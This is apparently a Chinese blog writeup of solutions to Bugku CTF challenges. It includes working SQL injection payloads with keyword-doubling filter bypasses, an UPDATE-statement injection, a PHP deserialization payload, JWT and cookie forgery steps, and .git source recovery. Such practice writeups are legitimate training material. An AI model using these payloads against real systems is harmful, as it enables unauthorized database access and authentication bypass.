02月07, 2019

NewBugku 水题 writeup

NewBugku

平台链接:https://new.bugku.com/

Bugku 出新平台了,今天找管理员大大 py 了一个邀请码来玩。

为什么叫“水题”呢?因为我能做出来的题都挺水的嘛~~~

第一次刷在网上找不到 writeup 的平台,记录一下自己的成长,此篇长期更新,题目按我做出的时间顺序出现。


签到

签到


头像

头像

点开链接是个 MM 的照片,开 WinHex 找到:

winhex

Base64 decode:

base64

MD5:

md5

flag:

flag


web1

web1

PHP 伪协议和变量覆盖直接出 flag:

flag


进制转换

进制转换

明显四进制转十进制,然后 ASCII 一下就可以了:

flag


流量分析

下载下来一个pcapng格式的数据包文件,Wireshark 下发现并跟踪 Telnet 的流量即可:

flag


web2

web2

一年前忘了在哪做过一道差不多的题,那道题让我入门了爬虫,这题直接秒:

flag


web5

题目提示注入,但是我试了很久没发现注入点,于是上 sqlmap:

sqlmap

发现注入点,我的 Payloads 如下:

payloads

没怎么过滤,毕竟是靠前的简单题:

flag


web6

发现提示:

tips

Base64 decode:

base64

账号尝试 admin,密码尝试这个:

tips.png

加个 XFF 头即可:

flag


web11

发现提示:

tips

访问 robots.txt:

robots

访问 shell.php:

submit

等号右边的字符串是随机的,一时半会没想到什么好的方法。

过了几分钟突然灵机一动,想到如果左右两边都是以0e开头的字符串,PHP 会把它们当做科学计数法的数字进行运算,这样左右两边都是数字0。

于是写了一个暴力脚本:

requests

先检测等号右边的字符串是否符合要求,如果符合,便提交数字240610708,它的 MD5 就是0e开头的,以前的文章里总结了这类特殊的字符串。

本来打算挂个一天让它慢慢跑,没想到居然两分钟就跑出来了:

flag


怀疑人生

下载得到三个文件:

怀疑人生

直接扫第三个二维码:

二维码

这个应该是 flag 的后半段,前面的部分应该在前两个文件里。

第一个压缩包需要密码,拿 ARCHPR 的默认字典跑出来密码是“password”:

ARCHPR

解压获得一个 txt:

txt

Base64 decode:

base64

UTF-8 decode:

UTF-8

现在还缺 flag 的中部,使用 binwalk 分析图片:

binwalk

发现存在 zip 文件,写脚本提取:

提取

但是这个 zip 也存在加密,半天跑不出来,放弃。

使用 winhex 尝试去除伪加密:

去伪加密

确保每一个PK后面的14 00后面紧跟的是00 00,这里把01改成00即可。

解压获得一串奇怪的东西:

txt

得知是一种叫 shortOok 的加密方式,在线解密得到:

shortOok

这串字符串和前面得到的 flag 头和尾拼起来居然提交错误,应该还存在加密。

长的像 Base64 但是无法 decode。由大小写和数字组成,又不可能是 Base32 或 Base16。

后来打算试试 Base58,从网上找到一个实现了 Base58 编码解码的 PHP 代码,但是它的编码表顺序搞错了,应该是数字+大写字母+小写字母。

改了编码表,代码如下:

<?php
    function base58_encode($string)
    {
        $alphabet = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz';
        $base = strlen($alphabet);
        if (is_string($string) === false || !strlen($string)) {
            return false;
        }
        $bytes = array_values(unpack('C*', $string));
        $decimal = $bytes[0];
        for ($i = 1, $l = count($bytes); $i < $l; ++$i) {
            $decimal = bcmul($decimal, 256);
            $decimal = bcadd($decimal, $bytes[$i]);
        }
        $output = '';
        while ($decimal >= $base) {
            $div = bcdiv($decimal, $base, 0);
            $mod = bcmod($decimal, $base);
            $output .= $alphabet[$mod];
            $decimal = $div;
        }
        if ($decimal > 0) {
            $output .= $alphabet[$decimal];
        }
        $output = strrev($output);
        return (string) $output;
    }
    function base58_decode($base58)
    {
        $alphabet = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz';
        $base = strlen($alphabet);
        if (is_string($base58) === false || !strlen($base58)) {
            return false;
        }
        $indexes = array_flip(str_split($alphabet));
        $chars = str_split($base58);
        foreach ($chars as $char) {
            if (isset($indexes[$char]) === false) {
                return false;
            }
        }
        $decimal = $indexes[$chars[0]];
        for ($i = 1, $l = count($chars); $i < $l; ++$i) {
            $decimal = bcmul($decimal, $base);
            $decimal = bcadd($decimal, $indexes[$chars[$i]]);
        }
        $output = '';
        while ($decimal > 0) {
            $byte = bcmod($decimal, 256);
            $output = pack('C', $byte).$output;
            $decimal = bcdiv($decimal, 256, 0);
        }
        return $output;
    }
    echo base58_decode("3oD54e");
?>

上面代码的输出结果为“misc”,一家三口终于凑齐了,上路吧:

flag


web3

发现参数op存在文件包含,发现存在 flag.php,利用伪协议读取其源码:

include

Base64 decode:

base64


web4

登录框,尝试注入:

inject

flag:

flag


web13

浏览器查看 Network 发现提示:

tips

base64 decode:

base64

这个不是正确的 flag,根据上面的提示,要在短时间内提交才行,于是编写脚本:

requests

flag:

flag


web18

在参数id发现注入,使用下面 Payload 检测过滤:

?id=0' || length('关键字') || '0

上 Intruder 发现过滤了一些关键字:

intruder

但是都可以双写绕过或者用别的关键字替代:

bypass

确定字段数:

1' oorrder by 3 -- '
1' oorrder by 4 -- '

字段数为3,测试回显:

0' ununionion selselectect '1','2','3' -- '

回显:

response

在第二个字段进行注入,Payloads 一条龙:

0' ununionion selselectect '1',(selselectect database()),'3' -- '
0' ununionion selselectect '1',(selselectect group_concat(table_name) from infoorrmation_schema.tables where table_schema='web18'),'3' -- '
0' ununionion selselectect '1',(selselectect group_concat(column_name) from infoorrmation_schema.columns where table_name='flag'),'3' -- '
0' ununionion selselectect '1',(selselectect group_concat(flag) from flag),'3' -- '

flag:

flag


web9

题目要求 PUT 一个字符串,把原本的 POST 请求包的方式改成 PUT 即可:

put

Base64 decode:

flag


web15

浏览器查看 Network 发现提示:

tips

十六进制解码:

Hex

这个只有大写字母和数字,故 Base32 decode:

Base32

Base64 decode:

Base64

提示存在 vim 备份文件,访问 index.php~ 得到源码:

<?php
    header('content-type:text/html;charset=utf-8');
    include './flag.php';
    error_reporting(0);
    if(empty($_GET['id'])){
        header('location:./1ndex.php');
    }else{
        $id = $_GET['id'];
        if (!is_numeric($id)) {
            $id = intval($id);
            switch ($id) {
                case $id>=0:
                    echo "快出去吧,走错路了~~~<br>";
                    echo "这么简单都不会么?";
                    break;
                case $id>=10:
                    exit($flag);
                    break;
                default:
                    echo "你走不到这一步的!";
                    break;
            }
        }
    }
?>

id为任意不是数字的字符串时,函数intval()返回0,此时会进入不等式比较结果为假的 case 项。

0>=10 为假,输出 flag:

flag


登录框,账号密码猜“admin”:

1-admin.png

题目提示“饼干”,估计是 cookie 欺骗,查看 Network:

cookies

根据我多年在学校骗 cookie 的经验(假),这个u应该是 user,r应该是 right。

r的值改为u的值即可:

flag


web10

首页是个登录框,发现提示:

tips

Base32 decode:

base32

应该是账号和密码,登录后:

login

提到了 vim 编辑时崩溃,发现主页的 swp 备份文件,恢复后得到源码:

<html>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
<title>在线日记本</title>
<form action="" method="POST">
  <p>username: <input type="text" name="username" /></p>
  <p>password: <input type="password" name="password" /></p>
  <input type="submit" value="login" />
</form>
<!--hint:NNVTU23LGEZDG===-->
</html>
<?php
    error_reporting(0);
    require_once 'src/JWT.php';
    const KEY = 'L3yx----++++----';
    function loginkk()
    {
        $time = time();
        $token = [
          'iss'=>'L3yx',
          'iat'=>$time,
          'exp'=>$time+5,
          'account'=>'kk'
        ];
        $jwt = \Firebase\JWT\JWT::encode($token,KEY);
        setcookie("token",$jwt);
        header("location:user.php");
    }
    if(isset($_POST['username']) && isset($_POST['password']) && $_POST['username']!='' && $_POST['password']!='')
    {
        if($_POST['username']=='kk' && $_POST['password']=='kk123')
        {
            loginkk();
        }
        else
        {
            echo "账号或密码错误";
        }
    }
?>

阅读源码,发现使用了 JWT 方式进行认证,源码里存在 JWT 的密钥,所以存在欺骗的可能。

查看浏览器 Network 发现如下 token:

jwt

其中头部和负载都是以 Base64 的方式进行编码的,对头部解码:

header

发现使用的签名算法为 HS256,继续对负载解码:

payload

找到一个 HMAC 在线加密的网站,用源码中的密钥对头部与负载进行加密:

hs256

与前面 Network 看到的签名相同,一会修改后的负载就在这里加密。

修改负载,更改账户名并延后过期时间:

change

Base64 encode:

encode

与头部拼接起来,使用相同的密钥,送去 HS256:

hs256

拼接发送即可:

flag


web16

这题是目前 web 题里分值最高的,出得挺好玩。

题目界面是个游戏,要集齐 140000 两银子买完所有的秘籍才能去打 BOSS。每点击赚钱只能获得 100 两银子,而且要等待 5 秒钟。赚到足够的钱要花大量时间,显然不现实。由服务器计时,不能骗时间。

发现一个可疑的 cookie:

cookie

每当我的属性或金钱发生改变时,这个 cookie 的值也会改变,很有可能金钱的数量也被记录在这个 cookie 里。

这个 cookie 长的像 Base64,但是解码之后是乱码,于是可以先看看传过来的 js:

js

前面两个 js 文件是两个算法的实现,而这个 script.js 被混淆到我看不懂,于是先送去在线解密:

decode

可能是运气好,随便试了一家就解密成功了,获得代码:

function getCookie(cname) {
    var name = cname + "=";
    var ca = document.cookie.split(';');
    for (var i = 0; i < ca.length; i++) {
        var c = ca[i].trim();
        if (c.indexOf(name) == 0) return c.substring(name.length, c.length)
    }
    return ""
}
function decode_create(temp) {
    var base = new Base64();
    var result = base.decode(temp);
    var result3 = "";
    for (i = 0; i < result.length; i++) {
        var num = result[i].charCodeAt();
        num = num ^ i;
        num = num - ((i % 10) + 2);
        result3 += String.fromCharCode(num)
    }
    return result3
}
function ertqwe() {
    var temp_name = "user";
    var temp = getCookie(temp_name);
    temp = decodeURIComponent(temp);
    var mingwen = decode_create(temp);
    var ca = mingwen.split(';');
    var key = "";
    for (i = 0; i < ca.length; i++) {
        if (-1 < ca[i].indexOf("flag")) {
            key = ca[i + 1].split(":")[2]
        }
    }
    key = key.replace('"', "").replace('"', "");
    document.write('<img id="attack-1" src="image/1-1.jpg">');
    setTimeout(function() {
        document.getElementById("attack-1").src = "image/1-2.jpg"
    }, 1000);
    setTimeout(function() {
        document.getElementById("attack-1").src = "image/1-3.jpg"
    }, 2000);
    setTimeout(function() {
        document.getElementById("attack-1").src = "image/1-4.jpg"
    }, 3000);
    setTimeout(function() {
        document.getElementById("attack-1").src = "image/6.png"
    }, 4000);
    setTimeout(function() {
        alert("你使用如来神掌打败了蒙老魔,但不知道是真身还是假身,提交试一下吧!flag{" + md5(key) + "}")
    }, 5000)
}

把其中解密 cookie 值的代码放到本地的 html 文件里:

<script src='md5.js'></script>
<script src='base64.js'></script>
<script>
    var temp = "UTw7PCxqe3FjcC42OThOjWtSUFYwbm99amlzbG0wI3MeHxscZ1liZxQMWEFDXl8EdUUOCQ0Id016B34WUlFWWTVoATEAAXN5P3Z2CmYgPTY5Pj90FSUUFxsfL2ZnYnYhCRMTGRQPQCcHKFIvEShXUlYCGQMbDQ4FXEcXREo%2FBTzBxKbu6fbrB%2BH%2Bps3nsLrP6dCs0LgR8fj1%2F%2B6y3%2B%2FapJ3XnJnkjNPf0NnRjpPD7pjzzfaMiJDcxt%2FXkP%2FB%2BI2C5vTqgUE%3D";
    temp = decodeURIComponent(temp);
    var base = new Base64();
    var result = base.decode(temp);
    var result3 = "";
    for (i = 0; i < result.length; i++) {
        var num = result[i].charCodeAt();
        num = num ^ i;
        num = num - ((i % 10) + 2);
        result3 += String.fromCharCode(num);
    }
    document.write(result3);
</script>

解密后获得一串 PHP 序列化字符串:

O:5:"human":10:{s:8:"xueliang";i:938;s:5:"neili";i:758;s:5:"lidao";i:93;s:6:"dingli";i:79;s:7:"waigong";i:0;s:7:"neigong";i:0;s:7:"jingyan";i:0;s:6:"yelian";i:0;s:5:"money";i:0;s:4:"flag";s:1:"0";}

存在金钱的字样:

money

可以推测,后台就是对这个字符串进行反序列化,直接赋值到相应的变量中。只要改了这里的金钱,然后加密回去,将 cookie 提交给服务器即可。

将金钱改到够用,编写加密脚本:

import base64
import urllib.parse
result3 = 'O:5:"human":10:{s:8:"xueliang";i:735;s:5:"neili";i:794;s:5:"lidao";i:106;s:6:"dingli";i:98;s:7:"waigong";i:0;s:7:"neigong";i:0;s:7:"jingyan";i:0;s:6:"yelian";i:0;s:5:"money";i:200000;s:4:"flag";s:1:"0";}'
with open('crypto.bin','wb') as f:
    for i in range(0, len(result3)):
        num = ord(result3[i])
        num += ((i%10)+2)
        num = num ^ i
        f.write(bytes([num]))
data = open('crypto.bin','rb').read()[:]
result = base64.b64encode(data)
result = urllib.parse.quote(result)
print (result)

这里有个坑,如果我加密成字符串,后面的 Base64 编码会出现差错。于是先写入二进制文件里,再对文件进行编码即可。

运行结果:

payload

然后截断正常的请求包,添加 cookie:

forward

Forward 之后发现钱已经被改了:

effect

然后就开心地去买秘籍、打 BOSS~

ko


web14

题目提示“备份了不少东西”,上 Intruder 用源码泄露的字典跑一下:

intruder

发现.git文件夹泄露,使用 GitHacker 恢复源码:

./GitHacker.py http://xxx.xxx.xxx.xxx:xxxx/.git/

恢复成功:

flag


这个人真的很高

下载获得图片一张:

high

根据题目名,猜测使用了高度隐写,winhex 下修改高度:

winhex

底部得以显示:

bottom

然后在 png 文件尾后面发现:

winhex

拼接一下,看出是栅栏密码,改一下列的顺序即可:

fence


日志审计

发现 sqlmap 盲注的记录:

sqlmap

把每次请求的字符拼起来即可:

flag


snake

下载下来一个 java 写的贪吃蛇游戏,使用 jd-gui 发现如下代码:

jdgui

本地创建 java 文件:

public class showflag {
    public static void main(String[] args) {
        String flag = "eobdxpmbhf\\jpgYaiibYagkc{";
        int key = 3;
        String xx = "";
        for (int i = 0; i < flag.length() / 2; i++)
        {
            char c = flag.charAt(i);
            c = (char)(c ^ key);
            xx = xx + c;
        }
        for (int i = flag.length() / 2 + 1; i < flag.length(); i++)
        {
            char c = flag.charAt(i);
            c = (char)(c ^ key * 2);
            xx = xx + c;
        }
        System.out.println(xx);
    }
}

由于蛇的长度与分数之差恒为 3(玩游戏可知),所以直接把变量key的值设为 3。

编译运行即可:

flag


web20

这题出得很没有意思,连个 cookie 认证都没有,运行5次才出一次 flag。

脚本如下:

flag


画图

在图片后面发现如下部分:

discover

应该是图片数据,分别是坐标和 RGB 颜色值,编写如下脚本画图:

from PIL import Image
maxx = 173
maxy = 173
file = open('flag.txt', 'r')
img = Image.new("RGB", (maxx, maxy))
for line in file.readlines():
    line = line.split()
    img.putpixel((int(line[0]), int(line[1])), (int(line[2]), int(line[3]), int(line[4])))
img.save("flag.png")

获得 flag:

flag


web12

题目给了源码:

<?php
    class Time
    {
        public $flag = ******************;
        public $truepassword = ******************;
        public $time;
        public $password ;
        public function __construct($tt, $pp)
        {
            $this->time = $tt;
            $this->password = $pp;
        }
        function __destruct()
        {
            if(!empty($this->password))
            {
                if(strcmp($this->password,$this->truepassword)==0)
                {
                    echo "<h1>Welcome,you need to wait......<br>The flag will become soon....</h1><br>";
                    if(!empty($this->time))
                    {
                        if(!is_numeric($this->time))
                        {
                            echo 'Sorry.<br>';
                            show_source(__FILE__);
                        }
                        else if($this->time < 11 * 22 * 33 * 44 * 55 * 66)
                        {
                            echo 'you need a bigger time.<br>';
                        }
                        else if($this->time > 66 * 55 * 44 * 33 * 23 * 11)
                        {
                            echo 'you need a smaller time.<br>';
                        }
                        else
                        {
                            sleep((int)$this->time);
                            var_dump($this->flag);
                        }
                        echo '<hr>';
                    }
                    else
                    {
                        echo '<h1>you have no time!!!!!</h1><br>';
                    }
                }
                else
                {
                    echo '<h1>Password is wrong............</h1><br>';
                }
            }
            else
            {
                echo "<h1>Please input password..........</h1><br>";
            }
        }
        function __wakeup()
        {
            $this->password = 1; echo 'hello hacker,I have changed your password and time, rua!';
        }
    }
    if(isset($_GET['rua']))
    {
        $rua = $_GET['rua'];
        @unserialize($rua);
    }
    else
    {
        echo "<h1>Please don't stop rua 233333</h1><br>";
    }
?>

存在反序列化函数:

if(isset($_GET['rua']))
{
    $rua = $_GET['rua'];
    @unserialize($rua);
}

有两种可能的做法:

if(!is_numeric($this->time))
{
    echo 'Sorry.<br>';
    show_source(__FILE__);
}
else
{
    sleep((int)$this->time);
    var_dump($this->flag);
}

尝试过第一种方式,利用函数show_source(),发现只输出了“Sorry”,并没有展示源码。

于是只能通过函数var_dump()获得 flag。

现在有两个要点需要绕过。

首先是这段比较必须成立:

strcmp($this->password,$this->truepassword)==0

可以看到,在反序列化进行之前 password 被改成了 1:

function __wakeup()
{
    $this->password = 1; echo 'hello hacker,I have changed your password and time, rua!';
}

把 truepassword 的值设置成 1 即可。

然后是这一段:

if(!is_numeric($this->time))
{
    echo 'Sorry.<br>';
    show_source(__FILE__);
}
else if($this->time < 11 * 22 * 33 * 44 * 55 * 66)
{
    echo 'you need a bigger time.<br>';
}
else if($this->time > 66 * 55 * 44 * 33 * 23 * 11)
{
    echo 'you need a smaller time.<br>';
}
else
{
    sleep((int)$this->time);
    var_dump($this->flag);
}

当 time 的值为0x开头的十六进制数时,(int)之后的结果是0,如此便可以不受sleep()的困扰了。

综上,编写如下代码构造 payload:

<?php
    class Time
    {
        public $truepassword = 1;
        public $time;
        public $password ;
        public function __construct($tt, $pp)
        {
            $this->time = $tt;
            $this->password = $pp;
        }
    }
    $fuck = new Time("0x4c06f350",0);
    $payload = serialize($fuck);
    echo $payload;
?>

获得序列化字符串:

O:4:"Time":3:{s:12:"truepassword";i:1;s:4:"time";s:10:"0x4c06f350";s:8:"password";i:0;}

GET 方式提交即可:

flag


web8

这题被之前做题的人改坏了,浪费我一晚上的时间,今天管理员刚刚修复,就做出来了。

题目是个登录框,有注册、登录、修改个人信息的功能。

有位兄弟发现了/www.tar.gz下有源码,在这之前我想到了一个一位位回显的注入方式,但是那样实在是太慢了,看了源码后我想了个比较舒服的注入方法。

更新个人信息的 update.php:

<?php
    require_once("db.inc.php");
    session_start();
    if(!isset($_SESSION['login'])){
        header('Location:login.php');
        die();
    }
    $stmt=$mysqli->prepare("select * from users where id=?");
    $stmt->bind_param('i',$_SESSION['id']);
    $res=$stmt->execute();
    if(!$res){
        header('Location:index.php?message=error');
        die("Fata error");
    }
    $user=Array();
    while($row=$stmt->fetch()){
        $user=$row;
    }
    $stmt->close();
    if(!get_magic_quotes_gpc())
    foreach($_POST as $key=>$value){
        $_POST[$key]=addslashes($value);
    }
    $query=$mysqli->query("update users set age=$_POST[age] ,nickname='$_POST[nickname]',description='$_POST[description]' where id=$_SESSION[id]");

    if(!$query){
        $mysqli->close();
        header('Location:index.php?message=error');
        die('Update error');
    }
    else{
        header('Location:index.php');
        $mysqli->close();
        die('Update message success');
    }
?>

最显眼的部分:

foreach($_POST as $key=>$value){
    $_POST[$key]=addslashes($value);
}

POST 上来的值全部被转义,所以想要闭合引号很困难。

$query=$mysqli->query("update users set age=$_POST[age] ,nickname='$_POST[nickname]',description='$_POST[description]' where id=$_SESSION[id]");

但是可以看见age字段是数字类型的,不需要闭合引号,所以注入点就在age这里。

把 age 输入框的 type 属性由 number 改成 text 就可以直接在这输入 Payload 了:

text

由于是 update 的注入,把查询结果更新在description上即可。

Payloads 一条龙:

18, description=(select group_concat(table_name) from information_schema.tables where table_schema=database()) #
18, description=(select group_concat(column_name) from information_schema.columns where table_schema=database()) #
18, description=(select group_concat(flag) from flag) #

回显 flag,但是我没有用 where 指定用户,所有用户都能看见,截完图马上清空:

flag


web21

老平台的原题,懒得说了,payload 如下:

payload

flag:

flag


未完待续~

本文链接:https://blog.cindemor.com/post/NewBugku.html

-- EOF --